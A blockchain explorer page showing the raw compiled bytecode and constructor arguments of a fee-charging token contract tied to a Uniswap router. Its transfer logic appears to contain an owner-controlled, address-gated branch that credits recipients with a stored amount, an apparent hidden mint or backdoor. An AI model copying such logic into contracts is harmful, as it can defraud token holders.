0x6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612226565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122e1565b610725565b60405161020b919061233c565b60405180910390f35b34801561022057600080fd5b50610229610743565b604051610236919061233c565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906123b6565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906123e0565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b7919061233c565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e291906123fb565b610799565b6040516102f4919061233c565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f919061246a565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906122e1565b610889565b60405161035c919061233c565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906123e0565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b29190612494565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd919061233c565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906124af565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906123e0565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906124dc565b610a10565b60405161046e91906123e0565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906124dc565b610a6d565b6040516104c2919061233c565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612535565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b6040516105169190612494565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612226565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906122e1565b610b6e565b60405161057e919061233c565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061258e565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906122e1565b610c60565b6040516105e4919061233c565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906125bb565b611051565b60405161063891906123e0565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906124dc565b6110d8565b005b34801561067657600080fd5b50610691600480360381019061068c919061258e565b61115b565b005b6060600580546106a29061262a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061262a565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326111b7565b84846111bf565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611353565b610867846107b26111b7565b61086285604051806060016040528060288152602001612de260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966111b7565b8461092d85600260006108a76111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b6111bf565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109836117f6565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906126a7565b60405180910390fd5b60006109de30610a10565b90506000606483836109f091906126f6565b6109fa9190612767565b9050610a0581611874565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a616117f6565b610a6b60006118e8565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a956117f6565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb9061262a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b179061262a565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6111b7565b84610c2c85604051806060016040528060258152602001612e0a6025913960026000610ba56111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b6001905092915050565b610c436117f6565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6111b7565b8484611353565b6001905092915050565b610c866117f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906127ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906127ad565b6040518363ffffffff1660e01b8152600401610db69291906127da565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906127ad565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061283e565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906128b4565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100a929190612907565b6020604051808303816000875af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612945565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e06117f6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361114f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611146906129e4565b60405180910390fd5b611158816118e8565b50565b6111636117f6565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111ac919061233c565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112295750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90612a50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134691906123e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113bd5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612abc565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612b4e565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114805750601360149054906101000a900460ff16155b80156114da5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114f25750601360159054906101000a900460ff165b15611535576000600960006101000a81548160ff021916908360ff160217905550600061151e30610a10565b905060008111156115335761153281611874565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115dc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116a75750601360169054906101000a900460ff16801561164c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116b55760009050611779565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361171857600b54600a81905550611778565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177757600c54600a819055505b5b5b611785848484846119ac565b50505050565b60008383111582906117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca9190612226565b60405180910390fd5b5082840390509392505050565b600081836117ee9190612b6e565b905092915050565b6117fe6111b7565b73ffffffffffffffffffffffffffffffffffffffff1661181c610ab3565b73ffffffffffffffffffffffffffffffffffffffff1614611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612bee565b60405180910390fd5b565b6001601360146101000a81548160ff02191690831515021790555061189881611a16565b60004790506118c9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c59565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806119be576119b9611ca4565b6119f7565b6009600081819054906101000a900460ff16809291906119dd90612c0e565b91906101000a81548160ff021916908360ff160217905550505b611a02848484611d00565b80611a1057611a0f61211e565b5b50505050565b6000600267ffffffffffffffff811115611a3357611a32612c37565b5b604051908082528060200260200182016040528015611a615781602001602082028036833780820191505090505b5090503081600081518110611a7957611a78612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4491906127ad565b81600181518110611b5857611b57612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c23959493929190612d53565b600060405180830381600087803b158015611c3d57600080fd5b505af1158015611c51573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9f573d6000803e3d6000fd5b505050565b6000600a54148015611cb857506000600b54145b8015611cc657506000600c54145b611cfe57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5a576000611d5e565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee157611e0482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9981600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612118565b600080611eed84612151565b91509150611f4384600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd882600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161210d91906123e0565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836121499190612dad565b905092915050565b60008060006064600a548561216691906126f6565b6121709190612767565b90506000612187828661213b90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006121f882612196565b61220281856121a1565b93506122128185602086016121b2565b61221b816121dc565b840191505092915050565b6000602082019050818103600083015261224081846121ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122788261224d565b9050919050565b6122888161226d565b811461229357600080fd5b50565b6000813590506122a58161227f565b92915050565b6000819050919050565b6122be816122ab565b81146122c957600080fd5b50565b6000813590506122db816122b5565b92915050565b600080604083850312156122f8576122f7612248565b5b600061230685828601612296565b9250506020612317858286016122cc565b9150509250929050565b60008115159050919050565b61233681612321565b82525050565b6000602082019050612351600083018461232d565b92915050565b6000819050919050565b600061237c6123776123728461224d565b612357565b61224d565b9050919050565b600061238e82612361565b9050919050565b60006123a082612383565b9050919050565b6123b081612395565b82525050565b60006020820190506123cb60008301846123a7565b92915050565b6123da816122ab565b82525050565b60006020820190506123f560008301846123d1565b92915050565b60008060006060848603121561241457612413612248565b5b600061242286828701612296565b935050602061243386828701612296565b9250506040612444868287016122cc565b9150509250925092565b600060ff82169050919050565b6124648161244e565b82525050565b600060208201905061247f600083018461245b565b92915050565b61248e8161226d565b82525050565b60006020820190506124a96000830184612485565b92915050565b6000602082840312156124c5576124c4612248565b5b60006124d3848285016122cc565b91505092915050565b6000602082840312156124f2576124f1612248565b5b600061250084828501612296565b91505092915050565b6125128161244e565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b60006020828403121561254b5761254a612248565b5b600061255984828501612520565b91505092915050565b61256b81612321565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b6000602082840312156125a4576125a3612248565b5b60006125b284828501612579565b91505092915050565b600080604083850312156125d2576125d1612248565b5b60006125e085828601612296565b92505060206125f185828601612296565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061264257607f821691505b602082108103612655576126546125fb565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006126916020836121a1565b915061269c8261265b565b602082019050919050565b600060208201905081810360008301526126c081612684565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612701826122ab565b915061270c836122ab565b925082820261271a816122ab565b91508282048414831517612731576127306126c7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612772826122ab565b915061277d836122ab565b92508261278d5761278c612738565b5b828204905092915050565b6000815190506127a78161227f565b92915050565b6000602082840312156127c3576127c2612248565b5b60006127d184828501612798565b91505092915050565b60006040820190506127ef6000830185612485565b6127fc6020830184612485565b9392505050565b6000819050919050565b600061282861282361281e84612803565b612357565b6122ab565b9050919050565b6128388161280d565b82525050565b600060c0820190506128536000830189612485565b61286060208301886123d1565b61286d604083018761282f565b61287a606083018661282f565b6128876080830185612485565b61289460a08301846123d1565b979650505050505050565b6000815190506128ae816122b5565b92915050565b6000806000606084860312156128cd576128cc612248565b5b60006128db8682870161289f565b93505060206128ec8682870161289f565b92505060406128fd8682870161289f565b9150509250925092565b600060408201905061291c6000830185612485565b61292960208301846123d1565b9392505050565b60008151905061293f81612562565b92915050565b60006020828403121561295b5761295a612248565b5b600061296984828501612930565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ce6026836121a1565b91506129d982612972565b604082019050919050565b600060208201905081810360008301526129fd816129c1565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612a3a6011836121a1565b9150612a4582612a04565b602082019050919050565b60006020820190508181036000830152612a6981612a2d565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612aa66015836121a1565b9150612ab182612a70565b602082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612b386025836121a1565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b6000612b79826122ab565b9150612b84836122ab565b9250828201905080821115612b9c57612b9b6126c7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd86020836121a1565b9150612be382612ba2565b602082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c198261244e565b915060ff8203612c2c57612c2b6126c7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cca8161226d565b82525050565b6000612cdc8383612cc1565b60208301905092915050565b6000602082019050919050565b6000612d0082612c95565b612d0a8185612ca0565b9350612d1583612cb1565b8060005b83811015612d46578151612d2d8882612cd0565b9750612d3883612ce8565b925050600181019050612d19565b5085935050505092915050565b600060a082019050612d6860008301886123d1565b612d75602083018761282f565b8181036040830152612d878186612cf5565b9050612d966060830185612485565b612da360808301846123d1565b9695505050505050565b6000612db8826122ab565b9150612dc3836122ab565b9250828203905081811115612ddb57612dda6126c7565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ba7f05d0b9575c43e2ab623fd4d940f9c52eae9116d6a920012ac562d40845c64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000002f050fe938943acc45f65568000000000
-----Decoded View---------------
Arg [0] : _tokens (uint256): 1000000000000000000000000000000000000000
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000002f050fe938943acc45f65568000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.